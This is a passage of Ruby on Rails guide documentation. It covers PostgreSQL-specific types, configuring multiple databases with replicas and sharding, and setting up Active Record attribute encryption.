  drop_table :articles

  execute <<-SQL
    DROP TYPE article_status;
  SQL
end

  # app/models/article.rb
class Article < ApplicationRecord
  enum status: {
    draft: "draft", published: "published"
  }, _prefix: true
end

  irb> Article.create status: "draft"
irb> article = Article.first
irb> article.status_draft!
irb> article.status
=> "draft"

irb> article.status_published?
=> false

To add a new value before/after existing one you should use ALTER TYPE:

  # db/migrate/20150720144913_add_new_state_to_articles.rb
# NOTE: ALTER TYPE ... ADD VALUE cannot be executed inside of a transaction block so here we are using disable_ddl_transaction!
disable_ddl_transaction!

def up
  execute <<-SQL
    ALTER TYPE article_status ADD VALUE IF NOT EXISTS 'archived' AFTER 'published';
  SQL
end

Enum values can't be dropped. You can read why here.

Hint: to show all the values of the all enums you have, you should call this query in bin/rails db or psql console:

  SELECT n.nspname AS enum_schema,
       t.typname AS enum_name,
       e.enumlabel AS enum_value
  FROM pg_type t
      JOIN pg_enum e ON t.oid = e.enumtypid
      JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace

1.8 UUID

type definition

pgcrypto generator function

uuid-ossp generator functions

You need to enable the pgcrypto (only PostgreSQL >= 9.4) or uuid-ossp extension to use uuid.

  # db/migrate/20131220144913_create_revisions.rb
create_table :revisions do |t|
  t.uuid :identifier
end

  # app/models/revision.rb
class Revision < ApplicationRecord
end

  irb> Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11"

irb> revision = Revision.first
irb> revision.identifier
=> "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11"

You can use uuid type to define references in migrations:

  # db/migrate/20150418012400_create_blog.rb
enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto')
create_table :posts, id: :uuid

create_table :comments, id: :uuid do |t|
  # t.belongs_to :post, type: :uuid
  t.references :post, type: :uuid
end

  # app/models/post.rb
class Post < ApplicationRecord
  has_many :comments
end

  # app/models/comment.rb
class Comment < ApplicationRecord
  belongs_to :post
end

See this section for more details on using UUIDs as primary key.

1.9 Bit String Types

type definition

functions and operators

  # db/migrate/20131220144913_create_users.rb
create_table :users, force: true do |t|
  t.column :settings, "bit(8)"
end

  # app/models/user.rb
class User < ApplicationRecord
end

  irb> User.create settings: "01010011"
irb> user = User.first
irb> user.settings
=> "01010011"
irb> user.settings = "0xAF"
irb> user.settings
=> "10101111"
irb> user.save!

1.10 Network Address Types

type definition

The types inet and cidr are mapped to Ruby IPAddr objects. The macaddr type is mapped to normal text.

  # db/migrate/20140508144913_create_devices.rb
create_table(:devices, force: true) do |t|
  t.inet 'ip'
  t.cidr 'network'
  t.macaddr 'address'
end

  # app/models/device.rb
class Device < ApplicationRecord
end

  irb> macbook = Device.create(ip: "192.168.1.12", network: "192.168.2.0/24", address: "32:01:16:6d:05:ef")

irb> macbook.ip
=> #<IPAddr: IPv4:192.168.1.12/255.255.255.255>

irb> macbook.network
=> #<IPAddr: IPv4:192.168.2.0/255.255.255.0>

irb> macbook.address
=> "32:01:16:6d:05:ef"

1.11 Geometric Types

type definition

All geometric types, with the exception of points are mapped to normal text. A point is casted to an array containing x and y coordinates.

1.12 Interval

type definition

functions and operators

This type is mapped to ActiveSupport::Duration objects.

  # db/migrate/20200120000000_create_events.rb
create_table :events do |t|
  t.interval 'duration'
end

  # app/models/event.rb
class Event < ApplicationRecord
end

  irb> Event.create(duration: 2.days)

irb> event = Event.first
irb> event.duration
=> 2 days

2 UUID Primary Keys

You need to enable the pgcrypto (only PostgreSQL >= 9.4) or uuid-ossp extension to generate random UUIDs.

  # db/migrate/20131220144913_create_devices.rb
enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto')
create_table :devices, id: :uuid do |t|
  t.string :kind
end

  # app/models/device.rb
class Device < ApplicationRecord
end

  irb> device = Device.create
irb> device.id
=> "814865cd-5a1d-4771-9306-4268f188fe9e"

gen_random_uuid() (from pgcrypto) is assumed if no :default option was passed to create_table.

3 Generated Columns

Generated columns are supported since version 12.0 of PostgreSQL.

  # db/migrate/20131220144913_create_users.rb
create_table :users do |t|
  t.string :name
  t.virtual :name_upcased, type: :string, as: 'upper(name)', stored: true
end

# app/models/user.rb
class User < ApplicationRecord
end

# Usage
user = User.create(name: 'John')
User.last.name_upcased # => "JOHN"

4 Full Text Search

  # db/migrate/20131220144913_create_documents.rb
create_table :documents do |t|
  t.string :title
  t.string :body
end

add_index :documents, "to_tsvector('english', title || ' ' || body)", using: :gin, name: 'documents_idx'

  # app/models/document.rb
class Document < ApplicationRecord
end

  # Usage
Document.create(title: "Cats and Dogs", body: "are nice!")

## all documents matching 'cat & dog'
Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)",
                 "cat & dog")

Optionally, you can store the vector as automatically generated column (from PostgreSQL 12.0):

  # db/migrate/20131220144913_create_documents.rb
create_table :documents do |t|
  t.string :title
  t.string :body

  t.virtual :textsearchable_index_col,
            type: :tsvector, as: "to_tsvector('english', title || ' ' || body)", stored: true
end

add_index :documents, :textsearchable_index_col, using: :gin, name: 'documents_idx'

# Usage
Document.create(title: "Cats and Dogs", body: "are nice!")

## all documents matching 'cat & dog'
Document.where("textsearchable_index_col @@ to_tsquery(?)", "cat & dog")

5 Database Views

view creation

Imagine you need to work with a legacy database containing the following table:

  rails_pg_guide=# \d "TBL_ART"
                                        Table "public.TBL_ART"
   Column   |            Type             |                         Modifiers
------------+-----------------------------+------------------------------------------------------------
 INT_ID     | integer                     | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass)
 STR_TITLE  | character varying           |
 STR_STAT   | character varying           | default 'draft'::character varying
 DT_PUBL_AT | timestamp without time zone |
 BL_ARCH    | boolean                     | default false
Indexes:
    "TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID")

This table does not follow the Rails conventions at all. Because simple PostgreSQL views are updateable by default, we can wrap it as follows:

  # db/migrate/20131220144913_create_articles_view.rb
execute <<-SQL
CREATE VIEW articles AS
  SELECT "INT_ID" AS id,
         "STR_TITLE" AS title,
         "STR_STAT" AS status,
         "DT_PUBL_AT" AS published_at,
         "BL_ARCH" AS archived
  FROM "TBL_ART"
  WHERE "BL_ARCH" = 'f'
  SQL

  # app/models/article.rb
class Article < ApplicationRecord
  self.primary_key = "id"
  def archive!
    update_attribute :archived, true
  end
end

  irb> first = Article.create! title: "Winter is coming", status: "published", published_at: 1.year.ago
irb> second = Article.create! title: "Brace yourself", status: "draft", published_at: 1.month.ago

irb> Article.count
=> 2
irb> first.archive!
irb> Article.count
=> 1

This application only cares about non-archived Articles. A view also allows for conditions so we can exclude the archived Articles directly.

6 Structure Dumps

If your config.active_record.schema_format is :sql, Rails will call pg_dump to generate a structure dump.

You can use ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags to configure pg_dump. For example, to exclude comments from your structure dump, add this to an initializer:

  ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = ['--no-comments']

Multiple Databases with Active Record

This guide covers using multiple databases with your Rails application.

After reading this guide you will know:

How to set up your application for multiple databases.

How automatic connection switching works.

How to use horizontal sharding for multiple databases.

How to migrate from legacy_connection_handling to the new connection handling.

What features are supported and what's still a work in progress.

Chapters

Setting up Your Application

Connecting to Databases without Managing Schema and Migrations

Generators and Migrations

Activating Automatic Role Switching

Using Manual Connection Switching

Horizontal Sharding

Activating Automatic Shard Switching

Migrate to the new connection handling

Granular Database Connection Switching

Handling Associations with Joins across Databases

Schema Caching

Caveats

Load Balancing Replicas

As an application grows in popularity and usage you'll need to scale the application to support your new users and their data. One way in which your application may need to scale is on the database level. Rails now has support for multiple databases so you don't have to store your data all in one place.

At this time the following features are supported:

Multiple writer databases and a replica for each

Automatic connection switching for the model you're working with

Automatic swapping between the writer and replica depending on the HTTP verb and recent writes

Rails tasks for creating, dropping, migrating, and interacting with the multiple databases

The following features are not (yet) supported:

Load balancing replicas

1 Setting up Your Application

While Rails tries to do most of the work for you there are still some steps you'll need to do to get your application ready for multiple databases.

Let's say we have an application with a single writer database and we need to add a new database for some new tables we're adding. The name of the new database will be "animals".

The database.yml looks like this:

  production:
  database: my_primary_database
  adapter: mysql2
  username: root
  password: <%= ENV['ROOT_PASSWORD'] %>

Let's add a replica for the first configuration, and a second database called animals and a replica for that as well. To do this we need to change our database.yml from a 2-tier to a 3-tier config.

If a primary configuration is provided, it will be used as the "default" configuration. If there is no configuration named "primary", Rails will use the first configuration as default for each environment. The default configurations will use the default Rails filenames. For example, primary configurations will use schema.rb for the schema file, whereas all the other entries will use [CONFIGURATION_NAMESPACE]_schema.rb for the filename.

  production:
  primary:
    database: my_primary_database
    username: root
    password: <%= ENV['ROOT_PASSWORD'] %>
    adapter: mysql2
  primary_replica:
    database: my_primary_database
    username: root_readonly
    password: <%= ENV['ROOT_READONLY_PASSWORD'] %>
    adapter: mysql2
    replica: true
  animals:
    database: my_animals_database
    username: animals_root
    password: <%= ENV['ANIMALS_ROOT_PASSWORD'] %>
    adapter: mysql2
    migrations_paths: db/animals_migrate
  animals_replica:
    database: my_animals_database
    username: animals_readonly
    password: <%= ENV['ANIMALS_READONLY_PASSWORD'] %>
    adapter: mysql2
    replica: true

When using multiple databases, there are a few important settings.

First, the database name for the primary and primary_replica should be the same because they contain the same data. This is also the case for animals and animals_replica.

Second, the username for the writers and replicas should be different, and the replica user's database permissions should be set to only read and not write.

When using a replica database, you need to add a replica: true entry to the replica in the database.yml. This is because Rails otherwise has no way of knowing which one is a replica and which one is the writer. Rails will not run certain tasks, such as migrations, against replicas.

Lastly, for new writer databases, you need to set the migrations_paths to the directory where you will store migrations for that database. We'll look more at migrations_paths later on in this guide.

Now that we have a new database, let's set up the connection model. In order to use the new database we need to create a new abstract class and connect to the animals databases.

  class AnimalsRecord < ApplicationRecord
  self.abstract_class = true

  connects_to database: { writing: :animals, reading: :animals_replica }
end

Then we need to update ApplicationRecord to be aware of our new replica.

  class ApplicationRecord < ActiveRecord::Base
  self.abstract_class = true

  connects_to database: { writing: :primary, reading: :primary_replica }
end

If you use a differently named class for your application record you need to set primary_abstract_class instead, so that Rails knows which class ActiveRecord::Base should share a connection with.

  class PrimaryApplicationRecord < ActiveRecord::Base
  primary_abstract_class
end

Classes that connect to primary/primary_replica can inherit from your primary abstract class like standard Rails applications:

  class Person < ApplicationRecord
end

By default Rails expects the database roles to be writing and reading for the primary and replica respectively. If you have a legacy system you may already have roles set up that you don't want to change. In that case you can set a new role name in your application config.

  config.active_record.writing_role = :default
config.active_record.reading_role = :readonly

It's important to connect to your database in a single model and then inherit from that model for the tables rather than connect multiple individual models to the same database. Database clients have a limit to the number of open connections there can be and if you do this it will multiply the number of connections you have since Rails uses the model class name for the connection specification name.

Now that we have the database.yml and the new model set up, it's time to create the databases. Rails 6.0 ships with all the rails tasks you need to use multiple databases in Rails.

You can run bin/rails -T to see all the commands you're able to run. You should see the following:

  $ bin/rails -T
rails db:create                          # Creates the database from DATABASE_URL or config/database.yml for the ...
rails db:create:animals                  # Create animals database for current environment
rails db:create:primary                  # Create primary database for current environment
rails db:drop                            # Drops the database from DATABASE_URL or config/database.yml for the cu...
rails db:drop:animals                    # Drop animals database for current environment
rails db:drop:primary                    # Drop primary database for current environment
rails db:migrate                         # Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)
rails db:migrate:animals                 # Migrate animals database for current environment
rails db:migrate:primary                 # Migrate primary database for current environment
rails db:migrate:status                  # Display status of migrations
rails db:migrate:status:animals          # Display status of migrations for animals database
rails db:migrate:status:primary          # Display status of migrations for primary database
rails db:reset                           # Drops and recreates all databases from their schema for the current environment and loads the seeds
rails db:reset:animals                   # Drops and recreates the animals database from its schema for the current environment and loads the seeds
rails db:reset:primary                   # Drops and recreates the primary database from its schema for the current environment and loads the seeds
rails db:rollback                        # Rolls the schema back to the previous version (specify steps w/ STEP=n)
rails db:rollback:animals                # Rollback animals database for current environment (specify steps w/ STEP=n)
rails db:rollback:primary                # Rollback primary database for current environment (specify steps w/ STEP=n)
rails db:schema:dump                     # Creates a database schema file (either db/schema.rb or db/structure.sql  ...
rails db:schema:dump:animals             # Creates a database schema file (either db/schema.rb or db/structure.sql  ...
rails db:schema:dump:primary             # Creates a db/schema.rb file that is portable against any DB supported  ...
rails db:schema:load                     # Loads a database schema file (either db/schema.rb or db/structure.sql  ...
rails db:schema:load:animals             # Loads a database schema file (either db/schema.rb or db/structure.sql  ...
rails db:schema:load:primary             # Loads a database schema file (either db/schema.rb or db/structure.sql  ...
rails db:setup                           # Creates all databases, loads all schemas, and initializes with the seed data (use db:reset to also drop all databases first)
rails db:setup:animals                   # Creates the animals database, loads the schema, and initializes with the seed data (use db:reset:animals to also drop the database first)
rails db:setup:primary                   # Creates the primary database, loads the schema, and initializes with the seed data (use db:reset:primary to also drop the database first)

Running a command like bin/rails db:create will create both the primary and animals databases. Note that there is no command for creating the database users, and you'll need to do that manually to support the readonly users for your replicas. If you want to create just the animals database you can run bin/rails db:create:animals.

2 Connecting to Databases without Managing Schema and Migrations

If you would like to connect to an external database without any database management tasks such as schema management, migrations, seeds, etc., you can set the per database config option database_tasks: false. By default it is set to true.

  production:
  primary:
    database: my_database
    adapter: mysql2
  animals:
    database: my_animals_database
    adapter: mysql2
    database_tasks: false

3 Generators and Migrations

Migrations for multiple databases should live in their own folders prefixed with the name of the database key in the configuration.

You also need to set the migrations_paths in the database configurations to tell Rails where to find the migrations.

For example the animals database would look for migrations in the db/animals_migrate directory and primary would look in db/migrate. Rails generators now take a --database option so that the file is generated in the correct directory. The command can be run like so:

  $ bin/rails generate migration CreateDogs name:string --database animals

If you are using Rails generators, the scaffold and model generators will create the abstract class for you. Simply pass the database key to the command line.

  $ bin/rails generate scaffold Dog name:string --database animals

A class with the database name and Record will be created. In this example the database is Animals so we end up with AnimalsRecord:

  class AnimalsRecord < ApplicationRecord
  self.abstract_class = true

  connects_to database: { writing: :animals }
end

The generated model will automatically inherit from AnimalsRecord.

  class Dog < AnimalsRecord
end

Note: Since Rails doesn't know which database is the replica for your writer you will need to add this to the abstract class after you're done.

Rails will only generate the new class once. It will not be overwritten by new scaffolds or deleted if the scaffold is deleted.

If you already have an abstract class and its name differs from AnimalsRecord, you can pass the --parent option to indicate you want a different abstract class:

  $ bin/rails generate scaffold Dog name:string --database animals --parent Animals::Record

This will skip generating AnimalsRecord since you've indicated to Rails that you want to use a different parent class.

4 Activating Automatic Role Switching

Finally, in order to use the read-only replica in your application, you'll need to activate the middleware for automatic switching.

Automatic switching allows the application to switch from the writer to replica or replica to writer based on the HTTP verb and whether there was a recent write by the requesting user.

If the application is receiving a POST, PUT, DELETE, or PATCH request the application will automatically write to the writer database. For the specified time after the write, the application will read from the primary. For a GET or HEAD request the application will read from the replica unless there was a recent write.

To activate the automatic connection switching middleware you can run the automatic swapping generator:

  $ bin/rails g active_record:multi_db

And then uncomment the following lines:

  Rails.application.configure do
  config.active_record.database_selector = { delay: 2.seconds }
  config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
  config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
end

Rails guarantees "read your own write" and will send your GET or HEAD request to the writer if it's within the delay window. By default the delay is set to 2 seconds. You should change this based on your database infrastructure. Rails doesn't guarantee "read a recent write" for other users within the delay window and will send GET and HEAD requests to the replicas unless they wrote recently.

The automatic connection switching in Rails is relatively primitive and deliberately doesn't do a whole lot. The goal is a system that demonstrates how to do automatic connection switching that was flexible enough to be customizable by app developers.

The setup in Rails allows you to easily change how the switching is done and what parameters it's based on. Let's say you want to use a cookie instead of a session to decide when to swap connections. You can write your own class:

  class MyCookieResolver
  # code for your cookie class
end

And then pass it to the middleware:

  config.active_record.database_selector = { delay: 2.seconds }
config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
config.active_record.database_resolver_context = MyCookieResolver

5 Using Manual Connection Switching

There are some cases where you may want your application to connect to a writer or a replica and the automatic connection switching isn't adequate. For example, you may know that for a particular request you always want to send the request to a replica, even when you are in a POST request path.

To do this Rails provides a connected_to method that will switch to the connection you need.

  ActiveRecord::Base.connected_to(role: :reading) do
  # all code in this block will be connected to the reading role
end

The "role" in the connected_to call looks up the connections that are connected on that connection handler (or role). The reading connection handler will hold all the connections that were connected via connects_to with the role name of reading.

Note that connected_to with a role will look up an existing connection and switch using the connection specification name. This means that if you pass an unknown role like connected_to(role: :nonexistent) you will get an error that says ActiveRecord::ConnectionNotEstablished (No connection pool for 'ActiveRecord::Base' found for the 'nonexistent' role.)

If you want Rails to ensure any queries performed are read only, pass prevent_writes: true. This just prevents queries that look like writes from being sent to the database. You should also configure your replica database to run in readonly mode.

  ActiveRecord::Base.connected_to(role: :reading, prevent_writes: true) do
  # Rails will check each query to ensure it's a read query
end

6 Horizontal Sharding

Horizontal sharding is when you split up your database to reduce the number of rows on each database server, but maintain the same schema across "shards". This is commonly called "multi-tenant" sharding.

The API for supporting horizontal sharding in Rails is similar to the multiple database / vertical sharding API that's existed since Rails 6.0.

Shards are declared in the three-tier config like this:

  production:
  primary:
    database: my_primary_database
    adapter: mysql2
  primary_replica:
    database: my_primary_database
    adapter: mysql2
    replica: true
  primary_shard_one:
    database: my_primary_shard_one
    adapter: mysql2
  primary_shard_one_replica:
    database: my_primary_shard_one
    adapter: mysql2
    replica: true

Models are then connected with the connects_to API via the shards key:

  class ApplicationRecord < ActiveRecord::Base
  self.abstract_class = true

  connects_to shards: {
    default: { writing: :primary, reading: :primary_replica },
    shard_one: { writing: :primary_shard_one, reading: :primary_shard_one_replica }
  }
end

Then models can swap connections manually via the connected_to API. If using sharding, both a role and a shard must be passed:

  ActiveRecord::Base.connected_to(role: :writing, shard: :default) do
  @id = Person.create! # Creates a record in shard default
end

ActiveRecord::Base.connected_to(role: :writing, shard: :shard_one) do
  Person.find(@id) # Can't find record, doesn't exist because it was created
                   # in the default shard
end

The horizontal sharding API also supports read replicas. You can swap the role and the shard with the connected_to API.

  ActiveRecord::Base.connected_to(role: :reading, shard: :shard_one) do
  Person.first # Lookup record from read replica of shard one
end

7 Activating Automatic Shard Switching

Applications are able to automatically switch shards per request using the provided middleware.

The ShardSelector Middleware provides a framework for automatically swapping shards. Rails provides a basic framework to determine which shard to switch to and allows for applications to write custom strategies for swapping if needed.

The ShardSelector takes a set of options (currently only lock is supported) that can be used by the middleware to alter behavior. lock is true by default and will prohibit the request from switching shards once inside the block. If lock is false, then shard swapping will be allowed. For tenant based sharding, lock should always be true to prevent application code from mistakenly switching between tenants.

The same generator as the database selector can be used to generate the file for automatic shard swapping:

  $ bin/rails g active_record:multi_db

Then in the file uncomment the following:

  Rails.application.configure do
  config.active_record.shard_selector = { lock: true }
  config.active_record.shard_resolver = ->(request) { Tenant.find_by!(host: request.host).shard }
end

Applications must provide the code for the resolver as it depends on application specific models. An example resolver would look like this:

  config.active_record.shard_resolver = ->(request) {
  subdomain = request.subdomain
  tenant = Tenant.find_by_subdomain!(subdomain)
  tenant.shard
}

8 Migrate to the new connection handling

In Rails 6.1+, Active Record provides a new internal API for connection management. In most cases applications will not need to make any changes except to opt-in to the new behavior (if upgrading from 6.0 and below) by setting config.active_record.legacy_connection_handling to false. If you have a single database application, no other changes will be required. If you have a multiple database application the following changes are required if your application is using these methods:

connection_handlers and connection_handlers= no longer works in the new connection handling. If you were calling a method on one of the connection handlers, for example, connection_handlers[:reading].retrieve_connection_pool("ActiveRecord::Base") you will now need to update that call to be connection_handlers.retrieve_connection_pool("ActiveRecord::Base", role: :reading).

Calls to ActiveRecord::Base.connection_handler.prevent_writes will need to be updated to ActiveRecord::Base.connection.preventing_writes?.

If you need all the pools, including writing and reading, a new method has been provided on the handler. Call connection_handler.all_connection_pools to use this. In most cases though you'll want writing or reading pools with connection_handler.connection_pool_list(:writing) or connection_handler.connection_pool_list(:reading).

If you turn off legacy_connection_handling in your application, any method that's unsupported will raise an error (i.e. connection_handlers=).

9 Granular Database Connection Switching

In Rails 6.1 it's possible to switch connections for one database instead of all databases globally. To use this feature you must first set config.active_record.legacy_connection_handling to false in your application configuration. The majority of applications should not need to make any other changes since the public APIs have the same behavior. See the above section for how to enable and migrate away from legacy_connection_handling.

With legacy_connection_handling set to false, any abstract connection class will be able to switch connections without affecting other connections. This is useful for switching your AnimalsRecord queries to read from the replica while ensuring your ApplicationRecord queries go to the primary.

  AnimalsRecord.connected_to(role: :reading) do
  Dog.first # Reads from animals_replica
  Person.first  # Reads from primary
end

It's also possible to swap connections granularly for shards.

  AnimalsRecord.connected_to(role: :reading, shard: :shard_one) do
  Dog.first # Will read from shard_one_replica. If no connection exists for shard_one_replica,
  # a ConnectionNotEstablished error will be raised
  Person.first # Will read from primary writer
end

To switch only the primary database cluster use ApplicationRecord:

  ApplicationRecord.connected_to(role: :reading, shard: :shard_one) do
  Person.first # Reads from primary_shard_one_replica
  Dog.first # Reads from animals_primary
end

ActiveRecord::Base.connected_to maintains the ability to switch connections globally.

9.1 Handling Associations with Joins across Databases

As of Rails 7.0+, Active Record has an option for handling associations that would perform a join across multiple databases. If you have a has many through or a has one through association that you want to disable joining and perform 2 or more queries, pass the disable_joins: true option.

For example:

  class Dog < AnimalsRecord
  has_many :treats, through: :humans, disable_joins: true
  has_many :humans

  has_one :home
  has_one :yard, through: :home, disable_joins: true
end

class Home
  belongs_to :dog
  has_one :yard
end

class Yard
  belongs_to :home
end

Previously calling @dog.treats without disable_joins or @dog.yard without disable_joins would raise an error because databases are unable to handle joins across clusters. With the disable_joins option, Rails will generate multiple select queries to avoid attempting joining across clusters. For the above association, @dog.treats would generate the following SQL:

  SELECT "humans"."id" FROM "humans" WHERE "humans"."dog_id" = ?  [["dog_id", 1]]
SELECT "treats".* FROM "treats" WHERE "treats"."human_id" IN (?, ?, ?)  [["human_id", 1], ["human_id", 2], ["human_id", 3]]

While @dog.yard would generate the following SQL:

  SELECT "home"."id" FROM "homes" WHERE "homes"."dog_id" = ? [["dog_id", 1]]
SELECT "yards".* FROM "yards" WHERE "yards"."home_id" = ? [["home_id", 1]]

There are some important things to be aware of with this option:

1) There may be performance implications since now two or more queries will be performed (depending on the association) rather than a join. If the select for humans returned a high number of IDs the select for treats may send too many IDs. 2) Since we are no longer performing joins, a query with an order or limit is now sorted in-memory since order from one table cannot be applied to another table. 3) This setting must be added to all associations where you want joining to be disabled. Rails can't guess this for you because association loading is lazy, to load treats in @dog.treats Rails already needs to know what SQL should be generated.

9.2 Schema Caching

If you want to load a schema cache for each database you must set a schema_cache_path in each database configuration and set config.active_record.lazily_load_schema_cache = true in your application configuration. Note that this will lazily load the cache when the database connections are established.

10 Caveats

10.1 Load Balancing Replicas

Rails also doesn't support automatic load balancing of replicas. This is very dependent on your infrastructure. We may implement basic, primitive load balancing in the future, but for an application at scale this should be something your application handles outside of Rails.

Active Record Encryption

This guide covers encrypting your database information using Active Record.

After reading this guide, you will know:

How to set up database encryption with Active Record.

How to migrate unencrypted data.

How to make different encryption schemes coexist.

How to use the API.

How to configure the library and how to extend it.

Chapters

Why Encrypt Data at the Application Level?

Basic Usage

Setup

Declaration of Encrypted Attributes

Deterministic and Non-deterministic Encryption

Features

Action Text

Fixtures

Supported Types

Ignoring Case

Support for Unencrypted Data

Support for Previous Encryption Schemes

Unique Constraints

Filtering Params Named as Encrypted Columns

Encoding

Key Management

Built-in Key Providers

Custom Key Providers

Model-specific Key Providers

Model-specific Keys

Rotating Keys

Storing Key References

API

Basic API

Configuration

Configuration Options

Encryption Contexts

Active Record supports application-level encryption. It works by declaring which attributes should be encrypted and seamlessly encrypting and decrypting them when necessary. The encryption layer sits between the database and the application. The application will access unencrypted data, but the database will store it encrypted.

1 Why Encrypt Data at the Application Level?

Active Record Encryption exists to protect sensitive information in your application. A typical example is personally identifiable information from users. But why would you want application-level encryption if you are already encrypting your database at rest?

As an immediate practical benefit, encrypting sensitive attributes adds an additional security layer. For example, if an attacker gained access to your database, a snapshot of it, or your application logs, they wouldn't be able to make sense of the encrypted information. Additionally, encryption can prevent developers from unintentionally exposing users' sensitive data in application logs.

But more importantly, by using Active Record Encryption, you define what constitutes sensitive information in your application at the code level. Active Record Encryption enables granular control of data access in your application and services consuming data from your application. For example, consider auditable Rails consoles that protect encrypted data or check the built-in system to filter controller params automatically.

2 Basic Usage

2.1 Setup

First, you need to add some keys to your Rails credentials. Run bin/rails db:encryption:init to generate a random key set:

  $ bin/rails db:encryption:init
Add this entry to the credentials of the target environment:

active_record_encryption:
  primary_key: EGY8WhulUOXixybod7ZWwMIL68R9o5kC
  deterministic_key: aPA5XyALhf75NNnMzaspW7akTfZp0lPY
  key_derivation_salt: xEY0dt6TZcAMg52K7O84wYzkjvbA62Hz

These generated values are 32 bytes in length. If you generate these yourself, the minimum lengths you should use are 12 bytes for the primary key (this will be used to derive the AES 32 bytes key) and 20 bytes for the salt.

2.2 Declaration of Encrypted Attributes

Encryptable attributes are defined at the model level. These are regular Active Record attributes backed by a column with the same name.

  class Article < ApplicationRecord
  encrypts :title
end

The library will transparently encrypt these attributes before saving them in the database and will decrypt them upon retrieval:

  article = Article.create title: "Encrypt it all!"
article.title # => "Encrypt it all!"

But, under the hood, the executed SQL looks like this:

  INSERT INTO `articles` (`title`) VALUES ('{\"p\":\"n7J0/ol+a7DRMeaE\",\"h\":{\"iv\":\"DXZMDWUKfp3bg/Yu\",\"at\":\"X1/YjMHbHD4talgF9dt61A==\"}}')

Because Base 64 encoding and metadata are stored with the values, encryption requires extra space in the column. You can estimate the worst-case overload at around 250 bytes when the built-in envelope encryption key provider is used. This overload is negligible for medium and large text columns, but for string columns of 255 bytes, you should increase their limit accordingly (510 bytes is recommended).

2.3 Deterministic and Non-deterministic Encryption

By default, Active Record Encryption uses a non-deterministic approach to encryption. Non-deterministic, in this context, means that encrypting the same content with the same password twice will result in different ciphertexts. This approach improves security by making crypto-analysis of ciphertexts harder, and querying the database impossible.

You can use the deterministic: option to generate initialization vectors in a deterministic way, effectively enabling querying encrypted data.

  class Author < ApplicationRecord
  encrypts :email, deterministic: true
end

Author.find_by_email("some@email.com") # You can query the model normally

The non-deterministic approach is recommended unless you need to query the data.

In non-deterministic mode, Active Record uses AES-GCM with a 256-bits key and a random initialization vector. In deterministic mode, it also uses AES-GCM, but the initialization vector is generated as an HMAC-SHA-256 digest of the key and contents to encrypt.

You can disable deterministic encryption by omitting a deterministic_key.

3 Features

3.1 Action Text

You can encrypt Action Text attributes by passing encrypted: true in their declaration.

  class Message < ApplicationRecord
  has_rich_text :content, encrypted: true
end

Passing individual encryption options to Action Text attributes is not supported yet. It will use non-deterministic encryption with the global encryption options configured.

3.2 Fixtures

You can get Rails fixtures encrypted automatically by adding this option to your test.rb:

  config.active_record.encryption.encrypt_fixtures = true

When enabled, all the encryptable attributes will be encrypted according to the encryption settings defined in the model.

3.2.1 Action Text Fixtures

To encrypt Action Text fixtures, you should place them in fixtures/action_text/encrypted_rich_texts.yml.

3.3 Supported Types

active_record.encryption will serialize values using the underlying type before encrypting them, but they must be serializable as strings. Structured types like serialized are supported out of the box.

If you need to support a custom type, the recommended way is using a serialized attribute. The declaration of the serialized attribute should go before the encryption declaration:

  # CORRECT
class Article < ApplicationRecord
  serialize :title, Title
  encrypts :title
end

# INCORRECT
class Article < ApplicationRecord
  encrypts :title
  serialize :title, Title
end

3.4 Ignoring Case

You might need to ignore casing when querying deterministically encrypted data. Two approaches make accomplishing this easier:

You can use the :downcase option when declaring the encrypted attribute to downcase the content before encryption occurs.

  class Person
  encrypts :email_address, deterministic: true, downcase: true
end

When using :downcase, the original case is lost. In some situations, you might want to ignore the case only when querying while also storing the original case. For those situations, you can use the option :ignore_case. This requires you to add a new column named original_<column_name> to store the content with the case unchanged:

  class Label
  encrypts :name, deterministic: true, ignore_case: true # the content with the original case will be stored in the column `original_name`
end

3.5 Support for Unencrypted Data

To ease migrations of unencrypted data, the library includes the option config.active_record.encryption.support_unencrypted_data. When set to true:

Trying to read encrypted attributes that are not encrypted will work normally, without raising any error.

Queries with deterministically-encrypted attributes will include the "clear text" version of them to support finding both encrypted and unencrypted content. You need to set config.active_record.encryption.extend_queries = true to enable this.

This option is meant to be used during transition periods while clear data and encrypted data must coexist. Both are set to false by default, which is the recommended goal for any application: errors will be raised when working with unencrypted data.

3.6 Support for Previous Encryption Schemes

Changing encryption properties of attributes can break existing data. For example, imagine you want to make a deterministic attribute non-deterministic. If you just change the declaration in the model, reading existing ciphertexts will fail because the encryption method is different now.

To support these situations, you can declare previous encryption schemes that will be used in two scenarios:

When reading encrypted data, Active Record Encryption will try previous encryption schemes if the current scheme doesn't work.

When querying deterministic data, it will add ciphertexts using previous schemes so that queries work seamlessly with data encrypted with different schemes. You must set config.active_record.encryption.extend_queries = true to enable this.

You can configure previous encryption schemes:

Globally

On a per-attribute basis

3.6.1 Global Previous Encryption Schemes

You can add previous encryption schemes by adding them as list of properties using the previous config property in your application.rb:

  config.active_record.encryption.previous = [ { key_provider: MyOldKeyProvider.new } ]

3.6.2 Per-attribute Encryption Schemes

Use :previous when declaring the attribute:

  class Article
  encrypts :title, deterministic: true, previous: { deterministic: false }
end

3.6.3 Encryption Schemes and Deterministic Attributes

When adding previous encryption schemes:

With non-deterministic encryption, new information will always be encrypted with the newest (current) encryption scheme.

With deterministic encryption, new information will always be encrypted with the oldest encryption scheme by default.

Typically, with deterministic encryption, you want ciphertexts to remain constant. You can change this behavior by setting deterministic: { fixed: false }. In that case, it will use the newest encryption scheme for encrypting new data.

3.7 Unique Constraints

Unique constraints can only be used with deterministically encrypted data.

3.7.1 Unique Validations

Unique validations are supported normally as long as extended queries are enabled (config.active_record.encryption.extend_queries = true).

  class Person
  validates :email_address, uniqueness: true
  encrypts :email_address, deterministic: true, downcase: true
end

They will also work when combining encrypted and unencrypted data,git and when configuring previous encryption schemes.

